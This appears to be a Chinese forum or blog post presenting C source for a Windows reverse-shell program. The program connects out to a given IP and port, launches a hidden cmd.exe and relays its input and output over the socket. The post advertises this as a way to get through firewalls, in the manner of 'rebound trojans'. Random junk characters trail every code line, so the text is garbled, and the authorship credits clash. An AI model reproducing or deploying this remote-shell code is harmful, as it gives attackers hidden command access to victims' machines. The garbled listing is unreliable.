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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 CH7a4qL`  
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/* ============================== CC^D4]ug  
Rebound port in Windows NT _JC*4  
By wind,2006/7 s(_z1  
===============================*/ ?g1eW q&  
#include O+!4KNN.-  
#include sm##owI  
qiOtbH=  
#pragma comment(lib,"wsock32.lib")  %LnLB  
>V.?XZ nt  
void OutputShell(); 33%hZ`/>  
SOCKET sClient; GUL~k@:_k  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WD4"ft  
:r{-:   
void main(int argc,char **argv) /CALX wL  
{ YusmMsN?  
WSADATA stWsaData; MTt8O+J?P~  
int nRet; 1 F:bExQ  
SOCKADDR_IN stSaiClient,stSaiServer; x|Uwk=;X|s  
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if(argc != 3) Bc!<!  
{ c Lyf[z)W  
printf("Useage:\n\rRebound DestIP DestPort\n"); %lbvK^  
return; @ 2hGkJ-  
} pg5W`4-F  
{]Mwuqn  
WSAStartup(MAKEWORD(2,2),&stWsaData); uP4yJ/]  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nZiwR4kM  
JQb{?C  
stSaiClient.sin_family = AF_INET; Vu_oxL}  
stSaiClient.sin_port = htons(0); HnPy";{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ft;x@!h%  
|HAbZd7PG  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z7wl~Hk  
{ rFcz 0  
printf("Bind Socket Failed!\n"); _"*vj-{-y  
return; |i B#   
} ?u CL[  
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stSaiServer.sin_family = AF_INET; [cDkmRV  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o0AT&<K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +M.BMS2A<l  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e R[B0;c  
{ lOA EM  
printf("Connect Error!"); Y4YZM  
return; "wH(t k4  
} x7B;\D#`i/  
OutputShell(); "} :CM_  
} WBKf)A^S  
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void OutputShell() ^coCsV^CW"  
{ (Jb#'(~a  
char szBuff[1024]; +Zi+ /9Z(H  
SECURITY_ATTRIBUTES stSecurityAttributes; g mWwlkf9  
OSVERSIONINFO stOsversionInfo; = y^5PjN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o(}%b8 K  
STARTUPINFO stStartupInfo; 8(ZQM01;  
char *szShell; kjQW9QJ<  
PROCESS_INFORMATION stProcessInformation; &qY]W=9uK  
unsigned long lBytesRead; XX-(>B0L  
(k+*0.T&?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ay Uw  
z}}P+P/  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w\[l4|g `  
stSecurityAttributes.lpSecurityDescriptor = 0; ?9?A)?O<j~  
stSecurityAttributes.bInheritHandle = TRUE; 7oZPb  
/7#MJH5b6  
:}36;n<['  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {1=|H$wKg  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?(zCv9Pg  
AP z"k?D0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1tO96t^d%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v? 8i;[  
stStartupInfo.wShowWindow = SW_HIDE; P cbhylKd  
stStartupInfo.hStdInput = hReadPipe; /\Cf*cJ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jD<xpD  
6 o   
GetVersionEx(&stOsversionInfo); W.s8!KH:  
F6J]T6 Y  
switch(stOsversionInfo.dwPlatformId) .[eC w  
{ l(x0d  
case 1: Zs|Ga,T  
szShell = "command.com"; ]Vj($O:  
break; XXm7rn  
default: " ;Cf@}i>  
szShell = "cmd.exe"; Fa`%MR1  
break; |) cJ  
} 34CcZEQQ  
7f3,czW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4n.JRR&;  
Kt qOA[6  
send(sClient,szMsg,77,0); P3!@}!r8  
while(1) "N'W~XPG  
{ Q "NZE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); f.j<VKF}  
if(lBytesRead) A ?tna6W:  
{ *BrGh  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h$sOJs~6h  
send(sClient,szBuff,lBytesRead,0); GwXhn2  
} "] 2^O  
else JXRU9`3)A  
{ =!DX,S7  
lBytesRead=recv(sClient,szBuff,1024,0); [So1`IA6  
if(lBytesRead<=0) break; GL>YJ%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Yx,E5}-  
} _'G'>X>}WU  
} =mX26l`B  
o=!_.lDF:  
return; %hmRh~/&  
}
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